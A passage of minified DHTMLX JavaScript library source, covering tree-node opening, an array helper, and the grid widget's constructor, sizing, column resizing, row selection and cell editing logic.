a=0;a<c.childsCount;a++){if(this._getOpenState(c.childNodes[a])<0){this._HideShow(c.childNodes[a],2)}if(c.childNodes[a].childsCount>0){this._openAllNodeChilds(c.childNodes[a])}if((c.childNodes[a].XMLload==0)||(c.childNodes[a].unParsed)){this.ClosedElem.push(c.childNodes[a])}}};dhtmlXTreeObject.prototype._loadAndOpen=function(a){if(a.G_node){a._openItem(a.G_node);a._openAllNodeChilds(a.G_node);a.G_node=null}if(a.ClosedElem.length>0){a.G_node=a.ClosedElem.shift()}if(a.G_node){if(a.G_node.unParsed){a.reParse(a.G_node)}else{window.setTimeout(function(){a._loadDynXML(a.G_node.id)},100)}}else{a.onXLE=a.onLoadReserve;if(a.onXLE){a.onXLE(a)}a.callEvent(\"onAllOpenDynamic\",[a])}};dhtmlXTreeObject.prototype.openItemsDynamic=function(c,a){if(this.onXLE==this._stepOpen){return}this._opnItmsDnmcFlg=dhx4.s2b(a);this.onLoadReserve=this.onXLE;this.onXLE=this._stepOpen;this.ClosedElem=c.split(\",\").reverse();this._stepOpen(this)};dhtmlXTreeObject.prototype._stepOpen=function(c){if(!c.ClosedElem.length){c.onXLE=c.onLoadReserve;if(c._opnItmsDnmcFlg){c.selectItem(c.G_node,true)}if((c.onXLE)&&(arguments[1])){c.onXLE.apply(c,arguments)}c.callEvent(\"onOpenDynamicEnd\",[]);return}c.G_node=c.ClosedElem.pop();c.skipLock=true;var a=c._globalIdStorageFind(c.G_node);if(a){if(a.XMLload===0){c.openItem(c.G_node)}else{c.openItem(c.G_node);c._stepOpen(c)}}c.skipLock=false};var globalActiveDHTMLGridObject;String.prototype._dhx_trim=function(){return this.replace(/&nbsp;/g,\" \").replace(/(^[ \\t]*)|([ \\t]*$)/g,\"\")};function dhtmlxArray(a){return dhtmlx.extend((a||new Array()),dhtmlxArray._master)}dhtmlxArray._master={_dhx_find:function(c){for(var a=0;a<this.length;a++){if(c==this[a]){return a}}return -1},_dhx_insertAt:function(e,c){this[this.length]=null;for(var a=this.length-1;a>=e;a--){this[a]=this[a-1]}this[e]=c},_dhx_removeAt:function(a){this.splice(a,1)},_dhx_swapItems:function(a,e){var c=this[a];this[a]=this[e];this[e]=c}};function dhtmlXGridObject(id){if(dhtmlxEvent.initTouch){dhtmlxEvent.initTouch()}if(_isIE){try{document.execCommand(\"BackgroundImageCache\",false,true)}catch(e){}}if(id){if(typeof(id)==\"object\"){this.entBox=id;if(!this.entBox.id){this.entBox.id=\"cgrid2_\"+this.uid()}}else{this.entBox=document.getElementById(id)}}else{this.entBox=document.createElement(\"DIV\");this.entBox.id=\"cgrid2_\"+this.uid()}this.entBox.innerHTML=\"\";dhx4._eventable(this);var self=this;this._wcorr=0;this.fontWidth=7;this.cell=null;this.row=null;this.iconURL=\"\";this.editor=null;this._f2kE=true;this._dclE=true;this.combos=new Array(0);this.defVal=new Array(0);this.rowsAr={};this.rowsBuffer=dhtmlxArray();this.rowsCol=dhtmlxArray();this._data_cache={};this._ecache={};this._ud_enabled=true;this.xmlLoader=this.doLoadDetails;this._maskArr=[];this.selectedRows=dhtmlxArray();this.UserData={};this._sizeFix=this._borderFix=0;this.entBox.className+=\" gridbox\";this.entBox.style.width=this.entBox.getAttribute(\"width\")||(window.getComputedStyle?(this.entBox.style.width||window.getComputedStyle(this.entBox,null)[\"width\"]):(this.entBox.currentStyle?this.entBox.currentStyle.width:this.entBox.style.width||0))||\"100%\";this.entBox.style.height=this.entBox.getAttribute(\"height\")||(window.getComputedStyle?(this.entBox.style.height||window.getComputedStyle(this.entBox,null)[\"height\"]):(this.entBox.currentStyle?this.entBox.currentStyle.height:this.entBox.style.height||0))||\"100%\";this.entBox.style.cursor=\"default\";this.entBox.onselectstart=function(){return false};var t_creator=function(name){var t=document.createElement(\"TABLE\");t.cellSpacing=t.cellPadding=0;t.style.cssText=\"width:100%;table-layout:fixed;\";t.className=name.substr(2);return t};this.obj=t_creator(\"c_obj\");this.hdr=t_creator(\"c_hdr\");this.hdr.style.marginRight=\"20px\";this.hdr.style.paddingRight=\"20px\";this.objBox=document.createElement(\"DIV\");this.objBox.style.width=\"100%\";this.objBox.style.overflow=\"auto\";this.objBox.appendChild(this.obj);this.objBox.className=\"objbox\";if(dhtmlx.$customScroll){dhtmlx.CustomScroll.enable(this)}this.hdrBox=document.createElement(\"DIV\");this.hdrBox.style.width=\"100%\";this.hdrBox.style.height=\"25px\";this.hdrBox.style.overflow=\"hidden\";this.hdrBox.className=\"xhdr\";this.preloadImagesAr=new Array(0);this.sortImg=document.createElement(\"DIV\");this.sortImg.style.display=\"none\";this.hdrBox.appendChild(this.sortImg);this.hdrBox.appendChild(this.hdr);this.hdrBox.style.position=\"relative\";this.entBox.appendChild(this.hdrBox);this.entBox.appendChild(this.objBox);this.entBox.grid=this;this.objBox.grid=this;this.hdrBox.grid=this;this.obj.grid=this;this.hdr.grid=this;this.cellWidthPX=[];this.cellWidthPC=[];this.cellWidthType=this.entBox.cellwidthtype||\"px\";this.delim=this.entBox.delimiter||\",\";this._csvDelim=\",\";this.hdrLabels=[];this.columnIds=[];this.columnColor=[];this._hrrar=[];this.cellType=dhtmlxArray();this.cellAlign=[];this.initCellWidth=[];this.fldSort=[];this._srdh=(_isIE&&(document.compatMode!=\"BackCompat\")?22:20);this.imgURL=window.dhx_globalImgPath||\"\";this.isActive=false;this.isEditable=true;this.useImagesInHeader=false;this.pagingOn=false;this.rowsBufferOutSize=0;dhtmlxEvent(window,\"unload\",function(){try{if(self.destructor){self.destructor()}}catch(e){}});this.setSkin=function(name){this._srdh=window.dhx4.readFromCss(\"dhxgrid_rh_\"+name)+4;this.skin_name=name;if(this._imgURL){this.setImagePath(this._imgURL)}var classname=this.entBox.className.split(\" gridbox\")[0];this.entBox.className=classname+\" gridbox gridbox_\"+name+(_isIE?\" isIE\":\" isModern\");this.skin_h_correction=0;this.enableAlterCss(\"ev_\"+name,\"odd_\"+name,this.isTreeGrid());this._fixAlterCss();switch(name){case\"dhx_terrace\":this._srdh=33;this.forceDivInHeader=true;break;case\"dhx_web\":this.forceDivInHeader=true;this._srdh=31;break;case\"dhx_skyblue\":this.forceDivInHeader=true;break}if(_isIE&&this.hdr){var d=this.hdr.parentNode;d.removeChild(this.hdr);d.appendChild(this.hdr)}this.setSizes()};if(_isIE){this.preventIECaching(true)}if(window.dhtmlDragAndDropObject){this.dragger=new dhtmlDragAndDropObject()}this._doOnScroll=function(e,mode){this.callEvent(\"onScroll\",[this.objBox.scrollLeft,this.objBox.scrollTop]);this.doOnScroll(e,mode)};this.doOnScroll=function(e,mode){this.hdrBox.scrollLeft=this.objBox.scrollLeft;if(this.ftr){this.ftr.parentNode.scrollLeft=this.objBox.scrollLeft}if(mode){return}if(this._srnd){if(this._dLoadTimer){window.clearTimeout(this._dLoadTimer)}this._dLoadTimer=window.setTimeout(function(){if(self._update_srnd_view){self._update_srnd_view()}},100)}};this.attachToObject=function(obj){obj.appendChild(this.globalBox?this.globalBox:this.entBox);this.setSizes()};this.init=function(fl){if((this.isTreeGrid())&&(!this._h2)){this._h2=this._createHierarchy();if((this._fake)&&(!this._realfake)){this._fake._h2=this._h2}this._tgc={imgURL:null}}if(!this._hstyles){return}if(!this.skin_name){this.setSkin(window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxgrid\")||\"dhx_skyblue\")}this.editStop();this.lastClicked=null;this.resized=null;this.fldSorted=this.r_fldSorted=null;this.cellWidthPX=[];this.cellWidthPC=[];if(this.hdr.rows.length>0){var temp=this.xmlFileUrl;this.clearAll(true);this.xmlFileUrl=temp}var hdrRow=this.hdr.insertRow(0);for(var i=0;i<this.hdrLabels.length;i++){hdrRow.appendChild(document.createElement(\"TH\"));hdrRow.childNodes[i]._cellIndex=i;hdrRow.childNodes[i].style.height=\"0px\"}if(_isIE&&_isIE<8&&document.body.style.msTouchAction==this.undefined){hdrRow.style.position=\"absolute\"}else{hdrRow.style.height=\"auto\"}var hdrRow=this.hdr.insertRow(_isKHTML?2:1);hdrRow._childIndexes=new Array();var col_ex=0;for(var i=0;i<this.hdrLabels.length;i++){hdrRow._childIndexes[i]=i-col_ex;if((this.hdrLabels[i]==this.splitSign)&&(i!=0)){if(_isKHTML){hdrRow.insertCell(i-col_ex)}hdrRow.cells[i-col_ex-1].colSpan=(hdrRow.cells[i-col_ex-1].colSpan||1)+1;hdrRow.childNodes[i-col_ex-1]._cellIndex++;col_ex++;hdrRow._childIndexes[i]=i-col_ex;continue}hdrRow.insertCell(i-col_ex);hdrRow.childNodes[i-col_ex]._cellIndex=i;hdrRow.childNodes[i-col_ex]._cellIndexS=i;this.setColumnLabel(i,this.hdrLabels[i])}if(col_ex==0){hdrRow._childIndexes=null}this._cCount=this.hdrLabels.length;if(_isIE){window.setTimeout(function(){if(self.setSizes){self.setSizes()}},1)}if(!this.obj.firstChild){this.obj.appendChild(document.createElement(\"TBODY\"))}var tar=this.obj.firstChild;if(!tar.firstChild){tar.appendChild(document.createElement(\"TR\"));tar=tar.firstChild;if(_isIE&&_isIE<8&&document.body.style.msTouchAction==this.undefined){tar.style.position=\"absolute\"}else{tar.style.height=\"auto\"}for(var i=0;i<this.hdrLabels.length;i++){tar.appendChild(document.createElement(\"TH\"));tar.childNodes[i].style.height=\"0px\"}}this._c_order=null;if(this.multiLine!=true){this.obj.className+=\" row20px\"}this.sortImg.style.position=\"absolute\";this.sortImg.style.display=\"none\";this.sortImg.className=\"dhxgrid_sort_desc\";this.sortImg.defLeft=0;if(this.noHeader){this.hdrBox.style.display=\"none\"}else{this.noHeader=false}if(this._ivizcol){this.setColHidden()}this.attachHeader();this.attachHeader(0,0,\"_aFoot\");this.setSizes();if(fl){this.parseXML()}this.obj.scrollTop=0;if(this.dragAndDropOff){this.dragger.addDragLanding(this.entBox,this)}if(this._initDrF){this._initD()}dhx4.callEvent(\"onGridCreated\",[this])};this.setColumnSizes=function(gridWidth){var summ=0;var fcols=[];var fix=0;for(var i=0;i<this._cCount;i++){if((this.initCellWidth[i]==\"*\")&&!this._hrrar[i]){this._awdth=false;fcols.push(i);continue}if(this.cellWidthType==\"%\"){if(typeof this.cellWidthPC[i]==\"undefined\"){this.cellWidthPC[i]=this.initCellWidth[i]}var cwidth=(gridWidth*this.cellWidthPC[i]/100)||0;if(fix>0.5){cwidth++;fix--}var rwidth=this.cellWidthPX[i]=Math.floor(cwidth);var fix=fix+cwidth-rwidth}else{if(typeof this.cellWidthPX[i]==\"undefined\"){this.cellWidthPX[i]=this.initCellWidth[i]}}if(!this._hrrar[i]){summ+=this.cellWidthPX[i]*1}}if(fcols.length){var ms=Math.floor((gridWidth-summ)/fcols.length);if(ms<0){ms=1}for(var i=0;i<fcols.length;i++){var next=Math.max((this._drsclmW?(this._drsclmW[fcols[i]]||0):0),ms);this.cellWidthPX[fcols[i]]=next;summ+=next}if(gridWidth>summ){var last=fcols[fcols.length-1];this.cellWidthPX[last]=this.cellWidthPX[last]+(gridWidth-summ);summ=gridWidth}this._setAutoResize()}this.obj.style.width=summ+\"px\";this.hdr.style.width=summ+\"px\";if(this.ftr){this.ftr.style.width=summ+\"px\"}this.chngCellWidth();return summ};this.setSizes=function(){if((!this.hdr.rows[0])){return}var quirks=this.quirks=(_isIE&&document.compatMode==\"BackCompat\");var outerBorder=(this.entBox.offsetWidth-this.entBox.clientWidth)/2;if(!this.dontSetSizes){if(this.globalBox){if(!this.globalBox.clientWidth){return}var ow=this.globalBox.clientWidth;var splitOuterBorder=(this.globalBox.offsetWidth-ow)/2;if(this._delta_x&&!this._realfake){this.globalBox.style.width=this._delta_x;var owu=this.globalBox.clientWidth;this.entBox.style.width=Math.max(0,(owu+(quirks?splitOuterBorder*2:0))-this._fake.entBox.clientWidth)+\"px\";if(owu!=this._lastTimeSplitWidth){this._fake._correctSplit(this._fake.entBox.clientWidth);this._lastTimeSplitWidth=owu}}if(this._delta_y&&!this._realfake){this.globalBox.style.height=this._delta_y;this.entBox.style.overflow=this._fake.entBox.style.overflow=\"hidden\";this.entBox.style.height=this._fake.entBox.style.height=this.globalBox.clientHeight+(quirks?splitOuterBorder*2:0)+\"px\"}}else{if(this._delta_x){if(this.entBox.parentNode&&this.entBox.parentNode.tagName==\"TD\"){this.entBox.style.width=\"1px\";this.entBox.style.width=parseInt(this._delta_x)*this.entBox.parentNode.clientWidth/100-outerBorder*2+\"px\"}else{this.entBox.style.width=this._delta_x}}if(this._delta_y){this.entBox.style.height=this._delta_y}}}window.clearTimeout(this._sizeTime);if(!this.entBox.offsetWidth&&(!this.globalBox||!this.globalBox.offsetWidth)){this._sizeTime=window.setTimeout(function(){if(self.setSizes){self.setSizes()}},250);return}var border_x=((!this._wthB)&&((this.entBox.cmp||this._delta_x)&&(this.skin_name||\"\").indexOf(\"dhx\")==0&&!quirks)?2:0);var border_y=((!this._wthB)&&((this.entBox.cmp||this._delta_y)&&(this.skin_name||\"\").indexOf(\"dhx\")==0&&!quirks)?2:0);if(this._sizeFix){border_x-=this._sizeFix;border_y-=this._sizeFix}var isVScroll=this.parentGrid?false:(this.objBox.scrollHeight>this.objBox.offsetHeight);var scrfix=dhtmlx.$customScroll?0:18;var gridWidth=this.entBox.clientWidth-(this.skin_h_correction||0)*(quirks?0:1)-border_x;var gridWidthActive=this.entBox.clientWidth-(this.skin_h_correction||0)-border_x;var gridHeight=this.entBox.clientHeight-border_y;var summ=this.setColumnSizes(gridWidthActive-(isVScroll?scrfix:0)-(this._correction_x||0));var isHScroll=this.parentGrid?false:((this.objBox.scrollWidth>this.objBox.offsetWidth)||(this.objBox.style.overflowX==\"scroll\"));var headerHeight=this.hdr.clientHeight;var footerHeight=this.ftr?this.ftr.clientHeight:0;var newWidth=gridWidth;var newHeight=gridHeight-headerHeight-footerHeight;if(this._awdth&&this._awdth[0]&&this._awdth[1]==99999){isHScroll=0}if(this._ahgr){if(this._ahgrMA){newHeight=this.entBox.parentNode.clientHeight-headerHeight-footerHeight}else{newHeight=this.obj.offsetHeight+(isHScroll?scrfix:0)+(this._correction_y||0)}if(this._ahgrM){if(this._ahgrF){newHeight=Math.min(this._ahgrM,newHeight+headerHeight+footerHeight)-headerHeight-footerHeight}else{newHeight=Math.min(this._ahgrM,newHeight)}}if(isVScroll&&newHeight>=this.obj.scrollHeight+(isHScroll?scrfix:0)){isVScroll=false;this.setColumnSizes(gridWidthActive-(this._correction_x||0))}}if((this._awdth)&&(this._awdth[0])){if(this.cellWidthType==\"%\"){this.cellWidthType=\"px\"}if(this._fake){summ+=this._fake.entBox.clientWidth}var newWidth=Math.min(Math.max(summ+(isVScroll?scrfix:0),this._awdth[2]),this._awdth[1])+(this._correction_x||0);this.objBox.style.overflowX=(!isVScroll&&this.objBox.scrollWidth<=newWidth)?\"hidden\":\"auto\";if(this._fake){newWidth-=this._fake.entBox.clientWidth}}newHeight=Math.max(0,newHeight);this._ff_size_delta=(this._ff_size_delta==0.1)?0.2:0.1;if(!_isFF){this._ff_size_delta=0}if(!this.dontSetSizes){this.entBox.style.width=Math.max(0,newWidth+(quirks?2:0)*outerBorder+this._ff_size_delta)+\"px\";this.entBox.style.height=newHeight+(quirks?2:0)*outerBorder+headerHeight+footerHeight+\"px\"}this.objBox.style.height=newHeight+((quirks&&!isVScroll)?2:0)*outerBorder+\"px\";this.hdrBox.style.height=headerHeight+\"px\";if(newHeight!=gridHeight){this.doOnScroll(0,!this._srnd)}var ext=this[\"setSizes_\"+this.skin_name];if(ext){ext.call(this)}this.setSortImgPos();if(headerHeight!=this.hdr.clientHeight&&this._ahgr){this.setSizes()}this.callEvent(\"onSetSizes\",[])};this.chngCellWidth=function(){if((_isOpera)&&(this.ftr)){this.ftr.width=this.objBox.scrollWidth+\"px\"}var l=this._cCount;for(var i=0;i<l;i++){this.hdr.rows[0].cells[i].style.width=this.cellWidthPX[i]+\"px\";this.obj.rows[0].childNodes[i].style.width=this.cellWidthPX[i]+\"px\";if(this.ftr){this.ftr.rows[0].cells[i].style.width=this.cellWidthPX[i]+\"px\"}}};this.setDelimiter=function(delim){this.delim=delim};this.setInitWidthsP=function(wp){this.cellWidthType=\"%\";this.initCellWidth=wp.split(this.delim.replace(/px/gi,\"\"));if(!arguments[1]){this._setAutoResize()}};this._setAutoResize=function(){if(this._realfake){return}var el=window;var self=this;dhtmlxEvent(window,\"resize\",function(){window.clearTimeout(self._resize_timer);if(self._setAutoResize){self._resize_timer=window.setTimeout(function(){if(self.setSizes){self.setSizes()}if(self._fake){self._fake._correctSplit()}},100)}})};this.setInitWidths=function(wp){this.cellWidthType=\"px\";this.initCellWidth=wp.split(this.delim);if(_isFF){for(var i=0;i<this.initCellWidth.length;i++){if(this.initCellWidth[i]!=\"*\"){this.initCellWidth[i]=parseInt(this.initCellWidth[i])}}}};this.enableMultiline=function(state){this.multiLine=dhx4.s2b(state)};this.enableMultiselect=function(state){this.selMultiRows=dhx4.s2b(state)};this.setImagePath=function(path){path=path.replace(/imgs\\/dhxgrid_[a-z]*\\/$/,\"imgs/\");this._imgURL=path;this.imgURL=path+\"dhxgrid_\"+(this.skin_name||\"dhx_skyblue\").replace(\"dhx_\",\"\")+\"/\";this.iconTree=this.imgURL+\"tree/\"};this.setImagesPath=this.setImagePath;this.setIconPath=function(path){this.iconURL=path};this.setIconsPath=this.setIconPath;this.changeCursorState=function(ev){var el=ev.target||ev.srcElement;if(el.tagName!=\"TD\"){el=this.getFirstParentOfType(el,\"TD\")}if(!el){return}if((el.tagName==\"TD\")&&(this._drsclmn)&&(!this._drsclmn[el._cellIndex])){return el.style.cursor=\"default\"}var check=(ev.layerX||0)+(((!_isIE)&&(ev.target.tagName==\"DIV\"))?el.offsetLeft:0);if((el.offsetWidth-(ev.offsetX||(parseInt(this.getPosition(el,this.hdrBox))-check)*-1))<(_isOpera?20:10)){el.style.cursor=\"E-resize\"}else{el.style.cursor=\"default\"}if(_isOpera){this.hdrBox.scrollLeft=this.objBox.scrollLeft}};this.startColResize=function(ev){if(this.resized){this.stopColResize()}this.resized=null;var el=ev.target||ev.srcElement;if(el.tagName!=\"TD\"){el=this.getFirstParentOfType(el,\"TD\")}var x=ev.clientX;var tabW=this.hdr.offsetWidth;var startW=parseInt(el.offsetWidth);if(el.tagName==\"TD\"&&el.style.cursor!=\"default\"){if((this._drsclmn)&&(!this._drsclmn[el._cellIndex])){return}self._old_d_mm=document.body.onmousemove;self._old_d_mu=document.body.onmouseup;document.body.onmousemove=function(e){if(self){self.doColResize(e||window.event,el,startW,x,tabW)}};document.body.onmouseup=function(){if(self){self.stopColResize()}}}};this.stopColResize=function(){document.body.onmousemove=self._old_d_mm||\"\";document.body.onmouseup=self._old_d_mu||\"\";this.setSizes();this.doOnScroll(0,1);this.callEvent(\"onResizeEnd\",[this])};this.doColResize=function(ev,el,startW,x,tabW){el.style.cursor=\"E-resize\";this.resized=el;var fcolW=startW+(ev.clientX-x);var wtabW=tabW+(ev.clientX-x);if(!(this.callEvent(\"onResize\",[el._cellIndex,fcolW,this]))){return}if(_isIE){this.objBox.scrollLeft=this.hdrBox.scrollLeft}var result=false;if(el.colSpan>1){var a_sizes=new Array();for(var i=0;i<el.colSpan;i++){a_sizes[i]=Math.round(fcolW*this.hdr.rows[0].childNodes[el._cellIndexS+i].offsetWidth/el.offsetWidth)}for(var i=0;i<el.colSpan;i++){result=this._setColumnSizeR(el._cellIndexS+i*1,a_sizes[i])}}else{result=this._setColumnSizeR(el._cellIndex,fcolW)}this.doOnScroll(0,1);this.setSizes();if(this._fake&&this._awdth){this._fake._correctSplit()}return result};this._setColumnSizeR=function(ind,fcolW){if(fcolW>((this._drsclmW&&!this._notresize)?(this._drsclmW[ind]||10):10)){this.obj.rows[0].childNodes[ind].style.width=fcolW+\"px\";this.hdr.rows[0].childNodes[ind].style.width=fcolW+\"px\";if(this.ftr){this.ftr.rows[0].childNodes[ind].style.width=fcolW+\"px\"}if(this.cellWidthType==\"px\"){this.cellWidthPX[ind]=fcolW}else{var gridWidth=parseInt(this.entBox.offsetWidth);if(this.objBox.scrollHeight>this.objBox.offsetHeight){gridWidth-=17}var pcWidth=Math.round(fcolW/gridWidth*100);this.cellWidthPC[ind]=pcWidth}if(this.sortImg.style.display!=\"none\"){this.setSortImgPos()}}else{return false}};this.setSortImgState=function(state,ind,order,row){order=(order||\"asc\").toLowerCase();if(!dhx4.s2b(state)){this.sortImg.style.display=\"none\";this.fldSorted=this.r_fldSorted=null;return}if(order==\"asc\"){this.sortImg.className=\"dhxgrid_sort_asc\"}else{this.sortImg.className=\"dhxgrid_sort_desc\"}this.sortImg.style.display=\"\";this.fldSorted=this.hdr.rows[0].childNodes[ind];var r=this.hdr.rows[row||1];if(!r){return}for(var i=0;i<r.childNodes.length;i++){if(r.childNodes[i]._cellIndexS==ind){this.r_fldSorted=r.childNodes[i];return this.setSortImgPos()}}return this.setSortImgState(state,ind,order,(row||1)+1)};this.setSortImgPos=function(ind,mode,hRowInd,el){if(this._hrrar&&this._hrrar[this.r_fldSorted?this.r_fldSorted._cellIndex:ind]){return}if(!el){if(!ind){var el=this.r_fldSorted}else{var el=this.hdr.rows[hRowInd||0].cells[ind]}}if(el!=null){var pos=this.getPosition(el,this.hdrBox);var wdth=el.offsetWidth;this.sortImg.style.left=Number(pos[0]+wdth-13)+\"px\";this.sortImg.defLeft=parseInt(this.sortImg.style.left);this.sortImg.style.top=Number(pos[1]+5)+\"px\";if((!this.useImagesInHeader)&&(!mode)){this.sortImg.style.display=\"inline\"}this.sortImg.style.left=this.sortImg.defLeft+\"px\"}};this.setActive=function(fl){if(arguments.length==0){var fl=true}if(fl==true){if(globalActiveDHTMLGridObject&&(globalActiveDHTMLGridObject!=this)){globalActiveDHTMLGridObject.editStop();globalActiveDHTMLGridObject.callEvent(\"onBlur\",[globalActiveDHTMLGridObject])}globalActiveDHTMLGridObject=this;this.isActive=true}else{this.isActive=false;this.callEvent(\"onBlur\",[this])}};this._doClick=function(ev){var selMethod=0;var el=this.getFirstParentOfType(_isIE?ev.srcElement:ev.target,\"TD\");if(!el||!el.parentNode||!el.parentNode.idd){return}var fl=true;if(this.markedCells){var markMethod=0;if(ev.shiftKey||ev.metaKey){markMethod=1}if(ev.ctrlKey){markMethod=2}this.doMark(el,markMethod);return true}if(this.selMultiRows!=false){if(ev.shiftKey&&this.row!=null&&this.selectedRows.length){selMethod=1}if(ev.ctrlKey||ev.metaKey){selMethod=2}}return this.doClick(el,fl,selMethod,false)};this._doContClick=function(ev){var el=this.getFirstParentOfType(_isIE?ev.srcElement:ev.target,\"TD\");if((!el)||(typeof(el.parentNode.idd)==\"undefined\")){this.callEvent(\"onEmptyClick\",[ev]);return true}if(ev.button==2||(_isMacOS&&ev.ctrlKey)){if(!this.callEvent(\"onRightClick\",[el.parentNode.idd,el._cellIndex,ev])){var z=function(e){(e||event).cancelBubble=true;return false};(ev.srcElement||ev.target).oncontextmenu=z;return z(ev)}if(this._ctmndx){if(!(this.callEvent(\"onBeforeContextMenu\",[el.parentNode.idd,el._cellIndex,this]))){return true}if(_isIE){ev.srcElement.oncontextmenu=function(){event.cancelBubble=true;return false}}if(this._ctmndx.showContextMenu){var dEl0=window.document.documentElement;var dEl1=window.document.body;var corrector=new Array((dEl0.scrollLeft||dEl1.scrollLeft),(dEl0.scrollTop||dEl1.scrollTop));if(_isIE){var x=ev.clientX+corrector[0];var y=ev.clientY+corrector[1]}else{var x=ev.pageX;var y=ev.pageY}this._ctmndx.showContextMenu(x-1,y-1);this.contextID=this._ctmndx.contextMenuZoneId=el.parentNode.idd+\"_\"+el._cellIndex;this._ctmndx._skip_hide=true}else{el.contextMenuId=el.parentNode.idd+\"_\"+el._cellIndex;el.contextMenu=this._ctmndx;el.a=this._ctmndx._contextStart;el.a(el,ev);el.a=null}ev.cancelBubble=true;return false}}else{if(this._ctmndx){if(this._ctmndx.hideContextMenu){this._ctmndx.hideContextMenu()}else{this._ctmndx._contextEnd()}}}return true};this.doClick=function(el,fl,selMethod,show){if(!this.selMultiRows){selMethod=0}var psid=this.row?this.row.idd:0;this.setActive(true);if(!selMethod){selMethod=0}if(this.cell!=null){this.cell.className=this.cell.className.replace(/cellselected/g,\"\")}if(el.tagName==\"TD\"){if(this.checkEvent(\"onSelectStateChanged\")){var initial=this.getSelectedId()}var prow=this.row;if(selMethod==1){var elRowIndex=this.rowsCol._dhx_find(el.parentNode);var lcRowIndex=this.rowsCol._dhx_find(this.lastClicked);if(elRowIndex>lcRowIndex){var strt=lcRowIndex;var end=elRowIndex}else{var strt=elRowIndex;var end=lcRowIndex}for(var i=0;i<this.rowsCol.length;i++){if((i>=strt&&i<=end)){if(this.rowsCol[i]&&(!this.rowsCol[i]._sRow)){if(!this.rowsCol[i].idd){continue}if(this.rowsCol[i].className.indexOf(\"rowselected\")==-1&&(this.callEvent(\"onBeforeSelect\",[this.rowsCol[i].idd,psid,el._cellIndex]))){this.rowsCol[i].className+=\" rowselected\";this.selectedRows[this.selectedRows.length]=this.rowsCol[i]}}else{this.clearSelection();return this.doClick(el,fl,0,show)}}}}else{if(selMethod==2){if(el.parentNode.className.indexOf(\"rowselected\")!=-1){el.parentNode.className=el.parentNode.className.replace(/rowselected/g,\"\");this.selectedRows._dhx_removeAt(this.selectedRows._dhx_find(el.parentNode));var skipRowSelection=true;show=false}}}this.editStop();if(typeof(el.parentNode.idd)==\"undefined\"){return true}if((!skipRowSelection)&&(!el.parentNode._sRow)){if(this.callEvent(\"onBeforeSelect\",[el.parentNode.idd,psid,el._cellIndex])){if(this.getSelectedRowId()!=el.parentNode.idd){if(selMethod==0){this.clearSelection()}this.cell=el;if((prow==el.parentNode)&&(this._chRRS)){fl=false}this.row=el.parentNode;this.row.className+=\" rowselected\";if(this.selectedRows._dhx_find(this.row)==-1){this.selectedRows[this.selectedRows.length]=this.row}}else{this.cell=el;this.row=el.parentNode}}else{fl=false}}if(this.cell&&this.cell.parentNode.className.indexOf(\"rowselected\")!=-1){this.cell.className=this.cell.className.replace(/cellselected/g,\"\")+\" cellselected\"}if(selMethod!=1){if(!this.row){return}}this.lastClicked=el.parentNode;var rid=this.row.idd;var cid=this.cell;if(fl&&typeof(rid)!=\"undefined\"&&cid&&!skipRowSelection){self.onRowSelectTime=setTimeout(function(){if(self.callEvent){self.callEvent(\"onRowSelect\",[rid,cid._cellIndex])}},100)}else{this.callEvent(\"onRowSelectRSOnly\",[rid])}if(this.checkEvent(\"onSelectStateChanged\")){var afinal=this.getSelectedId();if(initial!=afinal){this.callEvent(\"onSelectStateChanged\",[afinal,initial])}}if(skipRowSelection){return false}}this.isActive=true;if(show!==false&&this.cell&&this.cell.parentNode.idd){this.moveToVisible(this.cell)}};this.selectAll=function(){this.clearSelection();var coll=this.rowsBuffer;if(this.pagingOn){coll=this.rowsCol}for(var i=0;i<coll.length;i++){this.render_row(i).className+=\" rowselected\"}this.selectedRows=dhtmlxArray([].concat(coll));if(this.selectedRows.length){this.row=this.selectedRows[0];this.cell=this.row.cells[0]}if((this._fake)&&(!this._realfake)){this._fake.selectAll()}};this.selectCell=function(r,cInd,fl,preserve,edit,show){if(!fl){fl=false}if(typeof(r)!=\"object\"){r=this.render_row(r)}if(!r||r==-1){return null}if(r._childIndexes){var c=r.childNodes[r._childIndexes[cInd]]}else{var c=r.childNodes[cInd]}if(!c){c=r.childNodes[0]}if(!this.markedCells){if(preserve){this.doClick(c,fl,3,show)}else{this.doClick(c,fl,0,show)}}else{this.doMark(c,preserve?2:0)}if(edit){this.editCell()}};this.moveToVisible=function(cell_obj,onlyVScroll){if(this.pagingOn){var newPage=Math.floor(this.getRowIndex(cell_obj.parentNode.idd)/this.rowsBufferOutSize)+1;if(newPage!=this.currentPage){this.changePage(newPage)}}try{if(cell_obj.offsetHeight){var distance=cell_obj.offsetLeft+cell_obj.offsetWidth+20;var scrollLeft=0;if(distance>(this.objBox.offsetWidth+this.objBox.scrollLeft)){if(cell_obj.offsetLeft>this.objBox.scrollLeft){scrollLeft=cell_obj.offsetLeft-(this.objBox.offsetWidth-cell_obj.offsetWidth)+5}}else{if(cell_obj.offsetLeft<this.objBox.scrollLeft){distance-=cell_obj.offsetWidth*2/3;if(distance<this.objBox.scrollLeft){scrollLeft=cell_obj.offsetLeft-5}}}if((scrollLeft)&&(!onlyVScroll)){this.objBox.scrollLeft=scrollLeft}}if(!cell_obj.offsetHeight){var mask=this._realfake?this._fake.rowsAr[cell_obj.parentNode.idd]:cell_obj.parentNode;distance=this.rowsBuffer._dhx_find(mask)*this._srdh}else{distance=cell_obj.offsetTop}var distancemax=distance+cell_obj.offsetHeight+38;if(distancemax>(this.objBox.offsetHeight+this.objBox.scrollTop)){var scrollTop=distance}else{if(distance<this.objBox.scrollTop){var scrollTop=distance-5}}if(scrollTop){this.objBox.scrollTop=scrollTop}}catch(er){}};this.editCell=function(){if(this.editor&&this.cell==this.editor.cell){return}this.editStop();if((this.isEditable!=true)||(!this.cell)){return false}var c=this.cell;if(c.parentNode._locked){return false}this.editor=this.cells4(c);if(this.editor!=null){if(this.editor.isDisabled()){this.editor=null;return false}if(this.callEvent(\"onEditCell\",[0,this.row.idd,this.cell._cellIndex])!=false&&this.editor.edit){this._Opera_stop=(new Date).valueOf();this.editor.edit();c.className+=\" editable\";this.callEvent(\"onEditCell\",[1,this.row.idd,this.cell._cellIndex])}else{this.editor=null}}};this.editStop=function(mode){if(_isOpera){if(this._Opera_stop){if((this._Opera_stop*1+50)>(new Date).valueOf()){return}this._Opera_stop=null}}if(this.editor&&this.editor!=null){this.editor.cell.className=this.editor.cell.className.replace(\"editable\",\"\");if(mode){var 